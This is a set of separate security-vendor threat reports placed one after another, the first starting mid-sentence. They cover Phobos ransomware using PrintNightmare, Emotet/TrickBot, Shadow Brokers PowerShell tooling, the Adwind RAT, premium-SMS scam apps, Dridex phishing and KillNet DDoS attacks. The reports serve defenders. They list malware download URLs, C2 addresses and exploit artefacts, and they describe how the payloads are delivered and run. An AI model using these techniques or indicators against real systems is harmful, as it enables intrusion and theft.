2021. The diversity of actors involved in deploying Phobos ransomware and their lack of organization means that variations in attack behavior are more likely to be observed. In our recent Phobos ransomware investigation, the affiliate we called Luci demonstrated more individuality than most. ## Initial Access Leveraging External Remote Services and Valid Accounts ParaFlare’s observations of the attack patterns used by ransomware operators who obtain initial entry into an environment via remote access solutions have remained relatively consistent over the years. In almost all circumstances, our investigations found initial access was obtained using a local or domain administrator account. Consequently, most actors commenced their attack with privileged access and not much additional effort was required for them to achieve their objectives. Typically, remote access credentials are compromised either through phishing, credential stuffing, brute forcing, or the exploitation of vulnerabilities in VPN appliances. The credentials may be obtained or guessed directly by the ransomware operator or purchased from an initial access broker. Insecure remote desktop protocol (RDP) connections are one of the most common initial access vectors used in Phobos ransomware attacks. In our recent investigation, we found Luci gained remote access to a terminal server using a domain user account, $Printer_Maestro$, associated with a software package called BarTender that was used in the client environment. While the account had limited privileges, it had remote access rights, which was sufficient for Luci to gain initial access. It is unknown how Luci obtained valid credentials. ## Exploitation of Windows Print Spooler Vulnerability for Privilege Escalation In circumstances where threat actors obtain remote access with a non-administrator account, they need to find a way to escalate privileges to move laterally within the environment and deploy ransomware. Known vulnerabilities are often exploited for this purpose; however, this was the first time we had witnessed a PrintNightmare exploit used for privilege escalation in a ransomware attack. At the time of publication, ParaFlare had not identified any documented cases of PrintNightmare being exploited by Phobos ransomware affiliates. PrintNightmare is a vulnerability in the Windows Print Spooler service (spoolsv.exe) assigned the identifier CVE-2021-34527. It is similar to other vulnerabilities including CVE-2021-1675. Forty-five seconds after the first identified remote desktop session logon succeeded, Luci copied a password protected, self-extracting archive (SFX) file called Lucimare.exe to the desktop on the terminal server. Although we were unable to successfully recover this SFX file, we can infer that it contained malicious files designed to exploit the PrintNightmare vulnerability based on existing logs, the SYSTEM registry, and artifacts recovered through file carving. Our analysis found the Lucimare.exe SFX file contained a few files with modified times between 4 July 2021 and 7 July 2021. Available file hashes can be found in the indicators of compromise list at the end of the article. | Filename | Compile Time | Modified Time | Size | |------------------------------|--------------|------------------------|--------| | Lucimare.ps1 | N/A | 2021-07-04 03:46:48 | 165KB | | Lucimare.dll | N/A | 2021-07-07 05:04:04 | 91.5KB | | LucimarePoc2008.exe | 2021-07-07 05:02:10 | 2021-07-07 05:04:05 | 98.5KB | | LucimarePoc.exe | 2021-07-07 05:30:55 | 2021-07-07 05:35:03 | 98.5KB | Lucimare.exe was executed within 18 seconds from its first appearance on disk, resulting in the extraction of files to the desktop folder. Based on data contained in the AmCache.hve (which was recovered through file carving), it appears LucimarePoc.exe was executed seven seconds later. Around the same time, three files were written to the Print Spooler’s driver directory. Unfortunately, we were not able to recover these files. - C:\Windows\System32\spool\drivers\x64\3\kernelbase.dll - C:\Windows\System32\spool\drivers\x64\3\AddUserX64.dll - C:\Windows\System32\spool\drivers\x64\3\mxdwdrv.dll Remnant data suggests these files also existed in the directory C:\Windows\System32\spool\drivers\x64\3\new. A suspicious spoolsv registry value was also set at this time with the name “LuciMarePoc”: - HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3\LuciMarePoc This contained references to the new drivers kernelbase.dll (Data File), AddUserX64.dll (Configuration File), and mxdwdrv.dll (Driver). An error with the Event ID 808 was recorded in the Microsoft-Windows-PrintService/Admin log specifying that “The print spooler failed to load a plug-in module C:\Windows\system32\spool\DRIVERS\x64\3\AddUserX64.dll.” Additional logs (e.g., Microsoft-Windows-PrintServer/Operational) that would record the successful printer plugin loading were not enabled on the server. Seconds later, LucimarePoc2008.exe executed, followed closely by the creation of a Windows Event log for Kaspersky Security, which had detected the file Lucimare.ps1 as “HEUR:Exploit.PowerShell.NightMare.gen.” During this time, a local administrator account called “Luciferium” was created on the server. A RDP connection was established using this account less than three minutes after the initial intrusion. The remaining phases of the attack including credential access, lateral movement, and the encryption of data will be covered in an upcoming post. ## Recommendations - Ensure operating systems and applications are patched. - Secure remote access and enable multi-factor authentication for remote and administrator accounts at a minimum. - Implement principle of least privilege and principle of least functionality across accounts and servers. - Ensure there is sufficient, centralized logging. ## Indicators of Compromise ### Files **Phobos Ransomware (.eight extension)** Filename: Fast.exe MD5: 6eff55b9f24c8b276848167c5d64cc9c SHA-1: 66cfc67c4a95129a0e979c1ce025747372d69552 SHA-256: 31dba1a23db70ffb952f0e597acf95d16ab60423018a83d0ccb4f57ce0471793 **Exploit Toolkit** Filename: Lucimare.exe SHA-1: 9595bff740d66f8037f7f0346677a70dfef941c4 Filename: Lucimare.ps Filename: Lucimare.dll Filename: LucimarePoc2008.exe SHA-1: c69051c612214ad8f9b57ce99ce60f1d15db453 Filename: LucimarePoc.exe MD5: e4a6b0afc0895a844644ebcc00db7d73 SHA-1: 3482fbb6ab9c43cf7a660528d62c1283e4a058ca SHA-256: f0d6846da6d45180a695201888edc4f9c512fb0d11ed56394aae9daa874ba88c ### Printer Drivers Associated with Exploit - Filename: kernelbase.dll File Path: C:\Windows\System32\spool\drivers\x64\3\ File Path: C:\Windows\System32\spool\drivers\x64\3\new - Filename: AddUserX64.dll File Path: C:\Windows\System32\spool\drivers\x64\3\ File Path: C:\Windows\System32\spool\drivers\x64\3\new - Filename: mxdwdrv.dll File Path: C:\Windows\System32\spool\drivers\x64\3\ File Path: C:\Windows\System32\spool\drivers\x64\3\new ### Registry **Registry Keys Created During Exploit** HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3\LuciMarePoc ### Network **Malicious RDP Connections** IPv4: 185.112.82[.]235 IPv4: 185.112.82[.]236 IPv4: 185.112.82[.]237
# Mummy Spider’s Emotet Malware is Back After a Year Hiatus; Wizard Spider’s TrickBot Observed in Its Return Anomali Cyber Watch, Cyber Threat Intelligence, ThreatStream | November 23, 2021 by Anomali Threat Research Mummy Spider (TA542, Emotet) recently resumed their malicious activity with the notorious information-stealing malware, Emotet, after a year-long hiatus. As part of this return, the Emotet malware has been observed delivered via the TrickBot malware, which is organized by the Wizard Spider (TrickBot, UNC1878) group. Emotet and Trickbot are dangerous families that have undergone numerous changes and upgrades over the years, with Emotet being first discovered in 2014 and TrickBot in 2016. The longevity of these malware families, even with international law enforcement taking down Emotet infrastructure as of January 2021, showcases the relentless nature of the threat actors behind them. To assist in helping the community, especially with the online shopping season upon us, Anomali Threat Research has made available two threat actor focused dashboards: Mummy Spider and Wizard Spider, for Anomali ThreatStream customers. The dashboards are preconfigured to provide immediate access and visibility into all known Mummy Spider and Wizard Spider indicators of compromise (IOCs) made available through commercial and open-source threat feeds that users manage on ThreatStream. Customers using ThreatStream, Anomali Match, and Anomali Lens are able to immediately detect any IOCs present in their environments and quickly consume threat bulletins containing machine-readable IOCs. This enables analysts to quickly operationalize threat intelligence across their security infrastructures, as well as communicate to all stakeholders if/how they have been impacted. Anomali recently added thematic dashboards that respond to significant global events as part of ongoing product enhancements that further automate and speed essential tasks performed by threat intelligence and security operations analysts. In addition to Mummy Spider and Wizard Spider, ThreatStream customers currently have access to multiple dashboards announced as part of our November quarterly product release. Customers can integrate the Mummy Spider and Wizard Spider dashboard, among others, in the “+ Add Dashboard” tab in the ThreatStream console.
# A Quick Analysis of the Latest Shadow Brokers Dump Just in time for Easter, the Shadow Brokers released the latest installment of an NSA data dump, which contained an almost overwhelming amount of content – including, amongst other things, a number of Windows exploits. We thought we’d run some quick analysis on various elements of said content. ## Before We Get Started We’re going to largely avoid the obvious elements of the dump because there’s already been a lot of very helpful analysis of those elements. However, before we get to that, here’s what you need to know: - **Patch!** The majority of the high impact Microsoft vulnerabilities have recently been addressed in the MS17-010 patch. - **Disable SMBv1.** - **Remove all Windows XP and 2003 machines from your network.** These contain vulnerabilities that will not be patched. The following table contains some of the more pertinent information. We can also recommend the following script by Luke Jennings, which is designed to sweep a network to find Windows systems compromised with the dumps DOUBLEPULSAR implant. ## Metadata, or a Lack of Throughout the Equation Group leak via the Shadow Brokers, there are a number of different languages being used. One interesting element is how it appears that there was originally a preference for Perl, that was then replaced with Python – we think that this mirrors how the offensive security industry has evolved, too. As the age of the dump is pinned at some point in 2013, we would have expected to see a little bit of PowerShell; this was really starting to come into favor around that time. Now, this post isn’t about dropping a new l33t PowerShell technique gained from the dump, but rather looking at what the capability was at the point in time. Staying with the timing of the dump for a minute, we are reminded of the following series of Tweets from Edward Snowden back in August last year, when the ShadowBrokers first dropped. We know we run the risk of taking these out of context, and it is entirely possible that his mind has been changed since, however we find the following piece of information interesting. According to the timeline from the Guardian, the first release of the material he took was on the 5th June 2013. It’s probable that other dumps have since contradicted this and the view of when the hacker/s were kicked off has been able to be narrowed, but we are unaware of this. Examining the tools `makedmgd.exe`, part of a toolkit DAMAGEDGOODS that is used within a PowerShell delivery framework ZIPO, we see the following. One of the first things that we noticed is that the build date is baked into the exe. Also, some different implants not within the dump are there: “distantuncle” and “finkdiffernt”; some of the coders definitely have a certain sense of humor. Using Sysinternals excellent `sigcheck.exe`, we could view the publisher, version and build date in order to correlate. Yes, it is one of the many ways to list a binary's metadata, but some of its other superb features are that, as the name implies, it will verify the signature if the binary has been signed using Authenticode and it is also able to send the binary straight to VirusTotal and look at all files within a directory tree recursively. Running `sigcheck`, unsurprisingly we get the following information or, some would say, a lack of. Any trace of publisher or company which, to be fair, will be set in Visual Studio (or your toolchain of choice) have either been stripped or not set. The Link date is there, which correlates to the build date, which is also five weeks after Snowden’s material was first dropped. It is entirely possible to mess with and edit these dates, of course, before releasing the dump. We do find it strange to go to the level of stripping all other information but hard coding a build date, particularly in a tool that will be released to a workstation. The directory structure that this is in implies it may have been copied in rather than part of a release, as it was new and may not have been sanitized properly (although there is a real danger of reading too much into it). ## First Steps into PowerShell As stated above, we would have expected to see a reasonable amount of PowerShell considering the year, but actually there is very little. The only real example that we have found is a tool called ZiPo which can be found within the dump at `/Resources/Ops/Tools/ZiPo`. It contains the following tools: - `decryptor_downloader.base` - `makedmgd.exe` - `ZIPO.py` - `ps_base.txt` - `powershellify.py` In order to run this tool we call `ZIPO.py`, which first asks you to select a “project” directory then presents a menu asking if we want to: 1. Upload / Create Execute an Egg 2. Upload/ Create PowerShell script 3. Create Compressed script to be run manually Now Egg is a term that is used quite heavily throughout the dump and we’re not entirely sure what it means at this point in time. Pretty sure it is an Equation Group term. Choosing PowerShell script we are then asked for the location of it, what the IP address and port of the “redirector” which we assume is a proxy and then the local IP address and proxy. This is so that the script can spin up a HTTPd listener to serve up the files that have been created. In order to test, we created a very simple PowerShell script containing: ```powershell [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") [System.Windows.Forms.MessageBox]::Show("Hey mate, do you wanna run some powershell?", "you know you want too", 'Ok') ``` It has generated a public/private key pair, created an `index.html` & `index.htm`, provided us with a script to run on the target and also started up a HTTPd so that we could download the payloads on the target. That’s not too bad for a couple of commands. Looking at the command to run, it's pretty standard PowerShell from the time. In fact, we find it really interesting there is absolutely no attempt at obfuscating anything here. They are encrypting the payload and building a chain to download/decrypt etc., but no effort is made at hiding what the command is doing or where it is obtaining the script from. So what is contained within the two index files? Well, `index.html` is a base64 PowerShell script, which is why it was executed as an encodedCommand; decoding you get the output below. It encrypts a known “questionable” password value using RSA, another WebClient is created which has the encrypted value set as a cookie. The `index.html` is then downloaded and decrypted using the key, which is a SHA1 hash of the “questionable value”. The payload is then executed and on the server the two files are then deleted. This is a lot of effort to hide the final payload and once again absolutely no effort to obfuscate any of the script. ## DAMAGEDGOODS The next thing that we did was to just create a meterpreter payload; nothing special and wasn’t going to get to connect back, but we felt that AV should still be able to pick it up. Running Zipo again, we selected the third option. It asks you for a payload DLL and also the ordinal that you want to fire. This is where DAMAGEDGOODS comes into play; `makedmged.exe` is the exe that appears to do some kind of shellcode encoding. In this case, it takes the encoded binary with a script called `ps_base.txt`, then compresses/base64 encodes and then builds a decompression payload around it. The script that is output at the end of this using the name you supplied is the decode/decompression/execute mentioned above. Decoding it you get a PowerShell script that allocates memory, writes the shellcode into it, creates a thread and then executes the shellcode, all in memory. The shellcode in this case is going to be the meterpreter DLL that we originally used. Running it multiple times over the same DLL you get a different version. There appears to be some kind of prologue in the shellcode that doesn’t change, but it is pretty short, running the script multiple times and then diffing with Scooter Software’s excellent Beyond Compare you find that the only section that has changed is the shellcode except for: This series of bytes which appears to be some kind of prologue probably a decoder for the rest of the shellcode. What does it do, how does it work? Well that, we’re afraid, is for part 2 as we’ve spent too much time away from the family already this Easter. ## Conclusion Keeping in mind that this is a subset of the techniques that the Equation Group had in 2013, we still find it pretty interesting that just like the rest of the world they were starting to wake up to the potential of offensive PowerShell. The lack of any obfuscation, i.e., attempt to hide any of the decryption/download code was another surprise too considering how much “effort” has gone into encrypting the payload over the network at that point. The source of some of the code is intriguing, too. But back to the initial thoughts, we probably can be sure that this code was from 2013. Is it possible that Ed’s assertion the “hacker squatting lost access in June” may be flawed and they had access until at least the first couple of weeks in July? Assuming SB and no one else has tampered with the metadata within DAMAGEDGOODS, then yes.
# Spam Campaign Delivers Cross-platform RAT Adwind Adwind/jRAT resurfaces in another spam campaign. This time, however, it’s mainly targeting enterprises in the aerospace industry, with Switzerland, Ukraine, Austria, and the US the most affected countries. Cybercriminals are opportunists. As other operating systems (OS) are more widely used, they, too, would diversify their targets, tools, and techniques in order to cash in on more victims. That’s the value proposition of malware that can adapt and cross over different platforms. And when combined with a business model that can commercially peddle this malware to other bad guys, the impact becomes more pervasive. Case in point: Adwind/jRAT, which Trend Micro detects as JAVA_ADWIND. It’s a cross-platform remote access Trojan (RAT) that can be run on any machine installed with Java, including Windows, Mac OSX, Linux, and Android. Unsurprisingly, we saw it resurface in another spam campaign. This time, however, it’s mainly targeting enterprises in the aerospace industry, with Switzerland, Ukraine, Austria, and the US the most affected countries. ## Adwind operators are active The spam campaign actually corresponds to our telemetry for JAVA_ADWIND. In fact, the malware has had a steady increase in detections since the start of the year. From a mere 5,286 in January 2017, it surged to 117,649 in June. It’s notable, too, that JAVA_ADWIND detections from May to June 2017 increased by 107%, indicating that cybercriminals are actively pushing and distributing the malware. Adwind/jRAT can steal credentials, record and harvest keystrokes, take pictures or screenshots, film and retrieve videos, and exfiltrate data. Adwind iterations were used to target banks and Danish businesses, and even turned infected machines into botnets. Notorious as a multiplatform do-it-yourself RAT, Adwind has many aliases: jRAT, Universal Remote Control Multi-Platform (UNRECOM), AlienSpy, Frutas, and JSocket. In 2014, we found an Android version of Adwind/jRAT modified to add a cryptocurrency-mining capability. The fact that it’s sold as a service means this threat can be deployed by more cybercriminals who can customize their own builds and equip them with diverse functionalities. ## Spam campaign was deployed in two waves The spam campaign we observed was deployed in two waves and is a classic example of social engineering. We saw the first on June 7, 2017, using a different URL to divert victims to their .NET-written malware equipped with spyware capabilities. The second wave was observed on June 14 and used different domains that hosted their malware and command and control (C&C) servers. Both waves apparently employed a similar social engineering tactic to lure victims into clicking the malicious URLs. The spam email’s message impersonates the chair of the Mediterranean Yacht Broker Association (MYBA) Charter Committee. The spam email’s subject line, “Changes in 2017 – MYBA Charter Agreement,” tries to cause a sense of urgency for potential victims. It uses a forged sender address, (info[@]myba[.]net) and a seemingly legitimate content to trick would-be victims into clicking the malicious URL. ## Analyzing Adwind’s attack chain The malicious URL will drop a Program Information file (PIF). PIFs contain information on how Windows can run MS-DOS applications and can be launched normally like any executable (EXE). The file is written in .NET and serves as a downloader. The process spawned by the file kicks off the infection chain by first modifying the system certificate. The URL we traced the malicious PIF file (TROJ_DLOADR.AUSUDT) to also contained various phishing and spam email-related HTML files. It’s possible that these are the landing pages from which victims are diverted to the malicious PIF file. After the certificate has been poisoned, a Java EXE, dynamic-link library (DLL), and 7-Zip installer will be fetched from a domain that we uncovered to be a file-sharing platform abused by the spam operators: - hxxps://nup[.]pw/DJojQE[.]7z - hxxp://nup[.]pw/e2BXtK[.]exe - hxxps://nup[.]pw/9aHiCq[.]dll The installer has a wrapper function, which is typically employed by RATs to call additional routines without sacrificing computational resources. The wrapper we analyzed was in a Java ARchive file format (JAR) that we have dubbed jRAT-wrapper (JAVA_ADWIND.JEJPCO), which will connect to a C&C server and drop the Adwind/jRAT in runtime. Based on jRAT-wrapper’s import header, it appears to have the capability to check for the infected system’s internet access. It can also perform reflection, a dynamic code generation in Java. The latter is a particularly useful feature in Java that enables developers/programmers to dynamically inspect, call, and instantiate attributes and classes at runtime. In cybercriminal hands, it can be abused to evade static analysis from traditional antivirus (AV) solutions. jRAT-wrapper also tries to connect to another C&C IP address, 174[.]127[.]99[.]234:1033, which we construe to be from a legitimate hosting service that was abused by the attackers. jRAT-wrapper also uses Visual Basic scripts (VBS) to collect the system’s fingerprints, notably the installed antivirus (AV) product and firewall. It’s also coded to drop and execute the JAR file in the User Temp directory and copy malicious Java libraries to the Application Data folder. It will then drop a copy of itself in the current user directory and create an autorun registry for persistence. However, we found that the IP address was already down during our analysis, preventing us from getting further information related to this IP address. ## Countermeasures Adwind is a cross-platform, Java-based malware. This calls for a multilayered approach to security that covers the gateway, endpoints, networks, servers, and mobile devices. IT/system administrators and information security professionals, as well as developers/programmers that use Java, should also adopt best practices for using and securing Java and regularly keep it patched and updated. Adwind’s main infection vector is spam email. This underscores the importance of securing the email gateway to mitigate threats that use email as an entry point to the system and network. Spam filters, policy management, and email security mechanisms that can block malicious URLs are just some of the solutions that can be used to help mitigate email-based threats. Users and IT/system administrators should also adopt best practices to help safeguard networks with bring-your-own device (BYOD) policies from threats like Adwind that can steal important data. A crucial element in Adwind’s attack chain is social engineering. This highlights the need to cultivate a cybersecurity-aware workforce and foster conscientiousness against email scams: think before you click, be more prudent when opening unknown or unsolicited emails, and be more aware of different social engineering tactics cybercriminals use. These best practices can significantly help reduce an organization’s exposure to these malware. ## Trend Micro Solutions Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions. Trend Micro™ OfficeScan™ with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware. ## Indicators of Compromise Files and URLs related to Adwind/jRAT: - hxxp://ccb-ba[.]adv[.]br/wp-admin/network/ok/index[.]php - hxxp://www[.]employersfinder[.]com/2017-MYBA-Charter[.]Agreement[.]pif - hxxps://nup[.]pw/e2BXtK[.]exe - hxxps://nup[.]pw/Qcaq5e[.]jar Related Hashes: - 3fc826ce8eb9e69b3c384b84351b7af63f558f774dc547fccc23d2f9788ebab4 (TROJ_DLOADR.AUSUDT) - c16519f1de64c6768c698de89549804c1223addd88964c57ee036f65d57fd39b (JAVA_ADWIND.JEJPCO) - 97d585b6aff62fb4e43e7e6a5f816dcd7a14be11a88b109a9ba9e8cd4c456eb9 (JAVA_ADWIND.AUJC) - 705325922cffac1bca8b1854913176f8b2df83a70e0df0c8d683ec56c6632ddb (BKDR64_AGENT.TYUCT) Related C&C servers: - 174[.]127[.]99[.]234 Port 1033 - hxxp://vacanzaimmobiliare[.]it/testla/WebPanel/post[.]php Tags: Spam | Endpoints | Research
# Premium SMS Scam Apps on Play Store A fake photo editor, camera filter, games, and other apps promoted via Instagram and TikTok channels. Last week, I reported 80 apps belonging to a premium SMS scam campaign, which signs victims up for expensive premium SMS services that earn a bad actor or actors money while ultimately leaving victims completely empty-handed, to Google’s Security Team. This led to their swift removal from the Google Play Store. The apps that I discovered are part of the UltimaSMS campaign, consisting of 151 apps that at one point or another had been available for download on the Google Play Store. These apps have been downloaded more than 10.5 million times and are nearly identical in structure and functionality; essentially copies of the same fake app used to spread the premium SMS scam campaign. This leads me to believe that one bad actor or group is behind the entire campaign. I have dubbed the campaign “UltimaSMS” because one of the first apps I discovered was called Ultima Keyboard 3D Pro. The fake apps I found feature a wide range of categories such as custom keyboards, QR code scanners, video and photo editors, spam call blockers, camera filters, and games, among others. UltimaSMS appears to be a global campaign, as according to insights from Sensor Tower, a mobile apps marketing intelligence and insights company, the apps have been downloaded by users from over 80 countries. The apps have been most downloaded by users in the Middle East, such as Egypt, Saudi Arabia, and Pakistan, followed by users in the US and Poland. Avast has traced the earliest UltimaSMS samples to May 2021, and new samples from the campaign were released earlier this month, meaning that the scam is still ongoing. ## How UltimaSMS scams users When a user installs one of the apps, the app checks their location, International Mobile Equipment Identity (IMEI), and phone number to determine which country area code and language to use for the scam. Once the user opens the app, a screen, localized in the language their device is set to, prompts them to enter their phone number, and in some cases, email address to gain access to the app’s advertised purpose. Some of the many prompts that users can encounter upon opening the apps differ based on the country and are localized. Not all of them include fine print warning users of the potential charges. Upon entering the requested details, the user is subscribed to premium SMS services that can charge upwards of $40 per month depending on the country and mobile carrier. Instead of unlocking the app’s advertised features, which users might assume should happen, the apps will either display further SMS subscription options or stop working altogether. The sole purpose of the fake apps is to deceive users into signing up for premium SMS subscriptions. While some of the apps include fine print describing this to users, not all of them do, meaning many people who submitted their phone numbers into the apps might not even realize the extra charges to their phone bill are connected to the apps. Once subscribed, the premium SMS are charged weekly and, from what I can tell, appear to be the maximum possible amount that can be charged in the country the user is from. Many countries limit the amount of premium SMS charges that can occur within a week. The user may be notified by their carrier of the excessive charges, but they could also go unnoticed for weeks or months. Affected users may dismiss the apps as nonfunctional and uninstall them; however, the SMS charges will continue and could amount to an unpleasant sum. ## UltimaSMS on the Play Store The apps discovered are essentially identical in structure, meaning the same base app structure is repurposed numerous times. These copies are disguised as genuine apps through well-constructed app profiles on the Play Store. The profiles feature catchy photos and enticing app descriptions alongside often high review averages. However, upon closer inspection, they have generic privacy policy statements and feature basic developer profiles including generic email addresses. They also tend to have numerous negative reviews from users that correctly identified the apps as scams or have fallen for the scam. UltimaSMS has been propagated through advertising channels on popular social media sites such as Facebook, Instagram, and TikTok, as seen with other recent scams and cases of adware. There are numerous catchy video advertisements targeting users on these social media platforms. It speaks to the size and impact of this particular strain of scam apps, as the malicious actors are spending funds to boost downloads. Premium SMS scams are increasingly prevalent as evidenced by Zimperium’s reporting of GriftHorse, for example. In fact, these types of scams are not new at all; they appear to just be making a comeback. Years ago, there were malware families that would secretly use dial-up modems to dial up premium services, racking up thousands of dollars in charges. ## How to avoid UltimaSMS and similar scams - Remain vigilant when downloading new apps, especially apps advertised in short and catchy videos. Children may be particularly vulnerable to this type of scam. - Disable premium SMS option with your carrier. While there are legitimate uses for premium SMS, such as donating to charities, it is an easy avenue for malicious actors to abuse. Disabling this option will nullify the UltimaSMS scam. Based on some of the user accounts that left negative reviews, it looks like children are among the victims, making this step especially important on children’s phones, as they may be more susceptible to this type of scam. - Carefully check reviews. Scam apps often have boosted review averages, but written reviews may reveal the true purpose of an app. Checking the developer’s history and profile may also be useful. - Don’t enter a phone number unless you trust the app. Being careful with personal details, including phone number and email, goes a long way to avoiding similar scams. - Read the fine print before entering details. Legitimate apps will have Terms of Service and a Privacy policy alongside a statement of how they intend to use your data and entered details. - Be cautious when you find more than one app with the same name. Malicious apps can sometimes use the name and image of existing real and safe apps. In this scenario, a malicious app was found to be masquerading as Truecaller, a caller ID and spam blocking app by True Software Scandinavia AB used by over 290 million people. - Stick to official app stores when downloading apps. Although these apps were available on the Google Play Store, they have been removed by Google’s security team, but they are still available for download elsewhere on the internet.
# How UPS, FedEx, and DHL Phishing Emails Work **What happened:** Votiro’s Research Team has discovered a malicious macro that delivers a Dridex trojan payload hiding in Microsoft Excel spreadsheets delivered via phishing emails appearing to be from UPS, FedEx, and DHL. The Excel spreadsheet includes an obfuscated macro that launches PowerShell in hidden mode and downloads the payload from geronaga.com, a website registered with a Chinese website register. The IP address on this website, at the time when this attack was identified, pointed to a server in Russia. Upon opening the file, which is a multi-threat document, the user has no insight into the automatic execution of the macro. The hacker is using a tool called Evil Clippy to hide the macro from being viewed or analyzed by static analysis tools. Evil Clippy is a cross-platform assistant for creating malicious Microsoft Office documents. This tool was released during a BlackHat Asia talk on March 28, 2019. Once the file is opened, and the user either enables editing or clicks on the link within the Excel to “View & Pay the Invoice,” it executes an obfuscated PowerShell command that downloads the payload from a website and executes the attack. This attack is a multi-staged attack—using a sophisticated technique that evades email protection software and using advanced tactics that make it look like it came from these UPS, FedEx, and DHL shipping companies in separate messages. **Who is affected:** People and businesses – even those who are aware of phishing emails – are susceptible to this email campaign. This email campaign was missed by SaaS email protection providers because the macro was hidden and novel, not included in existing signature databases. As of 2pm ET on May 5th, 2020, VirusTotal reports several email protection services that would still miss the UPS and FedEx email. This improves the chances that the attack makes it to business and personal inboxes. The attacker wanted to make a phishing email appear as if it came from either FedEx, UPS, or DHL by injecting their servers into the header of the messages. Even a well-trained person could be fooled by this phishing attack, as it makes the email sender appear to be legitimate. If an unsuspecting person received one of these legitimate-looking emails with a Microsoft Excel spreadsheet attached, it is highly likely that they would open the attached Excel spreadsheet and compromise their systems. **Additional information about each hack:** **UPS Phishing Email** A legitimate-looking email that appeared to come from the UPS website was sent from host242-180-static.131-212-b.business.telecomitalia.it, which is an Italian telco. The return path on the message header points to a UPS server in Matawan, NJ. Inside this email was a legitimate-looking message from UPS with the logo and links that lead to ups.com. This email included an Excel spreadsheet that consists of a macro that automatically executes a PowerShell code, which exploits the user’s computer. This attack was identified by Votiro on April 20, 2020, at 8:45am. It was uploaded to VirusTotal on April 22, 2020, at 5:14pm. A second UPS phishing email was received on April 22, 2020, at 1:42pm. This email also included an Excel spreadsheet attachment with an auto-execution macro. **FedEx Phishing Email** A legitimate-looking email that appeared to come from Fedex.com was sent from 116.17.62.149, which traces back to Shaping, Guangdong, China. This email was received by Votiro on April 27, 2020, at 8:45am. The return path on the message header points to a server owned by FedEx in Collierville, Tennessee. Inside this email was a legitimate-looking message from FedEx with the logo and links pointing to FedEx. **DHL Phishing Email** The DHL phishing email was less branded than the other emails. But it is important to note that the sender appears to be legitimate, with a firstname.lastname@dhl.com email address appearing to be the sender. An individual—who has a name within one letter of the one used as a spoofed DHL email address—exists on LinkedIn, and their profile lists them as working at DHL. The profile has very few details. While the profile may not be from the attackers, it helps add legitimacy to the email, as even though the attacks contain a slightly different spelling of their name, the single letter difference can be hard to miss. **Hashes** UPS: e6c5862320ae7d8032fab1292121a98ca55e3842211112b8b9f2a2578b3e4dc0 FedEx: 8e06789e952991e6fc483ab0e6bbf08a123922ba354a75c9dc9dcc759c60c194
# KillNet and Affiliate Hacktivist Groups Targeting Healthcare with DDoS Attacks March 17, 2023 In the last year, geopolitical tension has led to an uptick of reported cybercrime events fueled by hacktivist groups. The US Cybersecurity and Infrastructure Security Agency (CISA) published an advisory to warn organizations about these attacks and teamed with the FBI on a distributed denial-of-service (DDoS) response strategy guide. KillNet, a group that the US Department of Health and Human Services (DHHS) has called pro-Russia hacktivists, has been launching waves of attacks against western countries, targeting governments and companies with a focus on the healthcare sector. DHHS published an analyst note on KillNet’s threat to the health sector, mentioning that the group compromised a US healthcare organization that supports members of the US military. KillNet uses DDoS as its main protest tool. DDoS attacks are a relatively easy and low-cost method of disrupting online services and websites and can be a powerful way to draw attention, making them a popular choice among hacktivist groups. In addition, DDoS attacks can be launched anonymously, which could make it difficult for authorities to track down perpetrators. In this blog post, we provide an overview of the DDoS attack landscape against healthcare applications hosted in Azure over three months. We then list a couple of recent campaigns from KillNet, describe their attack patterns, and present how we mitigated and protected customers from these attacks. Finally, we outline best practices for organizations to protect their applications against DDoS attacks. ## DDoS Attacks Against Healthcare in Azure We measured the number of attacks daily on healthcare organizations in Azure between November 18, 2022, and February 17, 2023. We observed an incline from 10-20 attacks in November to 40-60 attacks daily in February. We tracked attack statistics through the same time period and observed that DDoS attacks on healthcare organizations didn’t demonstrate severely high throughput. There were several attacks hitting 5M packets per second (pps), but the majority of attacks were below 2M pps. These attacks, although not extremely high, could take down a website if not protected by a network security service like Azure DDoS Network Protection. The types of healthcare organizations attacked included pharma and life sciences with 31% of all attacks, hospitals with 26%, healthcare insurance with 16%, and health services and care also with 16%. We also observed a combination of multi-vector layer 3, layer 4, and layer 7 DDoS attacks. Attacks are primarily targeting web applications, and intertwined TCP and UDP attack vectors. We observed layer 7 DDoS attacks consuming many TCP connections and keeping them alive long enough trying to deplete memory state resources to render the application unavailable. This is a repeated pattern noticed in several cases for attacks attributed to KillNet. Another common attack pattern tries to establish many new TCP connections over short intervals to hit CPU resources. In contrast to overall DDoS attack trends for 2022, in which TCP was the most common attack vector, 53% of the attacks on healthcare were UDP floods, and TCP accounted for 44%, reflecting a different mixture of attack patterns used by adversaries on healthcare. Out of the UDP attack vectors, 38% are UDP spoof flood attacks, followed by 29% of DNS amplification attacks. UDP reflected amplification attacks consumed 52% of all attacks. This is in line with other public reports on KillNet, where amplification and spoofed sources are used, among other attack vectors. Although the majority of attacks are on web applications, adversaries used multi-vector UDP spoof and reflected amplification attacks alongside TCP attacks to saturate the network and impact the attacked application. ## Attack Campaigns In this section, we outline a couple of attack campaigns launched by KillNet or its affiliated hacktivist groups targeting customers in Azure. These attacks had no impact on Azure services and customers were protected by our Azure DDoS Network Protection service. The first customer is a healthcare provider that was hit by a DDoS attack recently. The attack throughput wasn’t very high, peaking at 1.3M pps. The organization protected its service with Azure DDoS Network Protection, and the attack was successfully mitigated. Such attack throughput demonstrates why it’s crucial to protect applications against DDoS attacks. Similar attacks may target an application with low enough volumes that evade infrastructure-level DDoS protection, as they don’t impose a risk to Azure services or to other customers but may still take down an application. With Azure DDoS Network Protection, we learn normal baseline patterns specific to an application and detect traffic anomalies effectively. Attack vectors included TCP SYN, TCP ACK, and packet anomalies. The attack lasted less than 12 hours, and the adversary likely launched it using DDoS scripting tools, spoofing large numbers of source IP addresses. 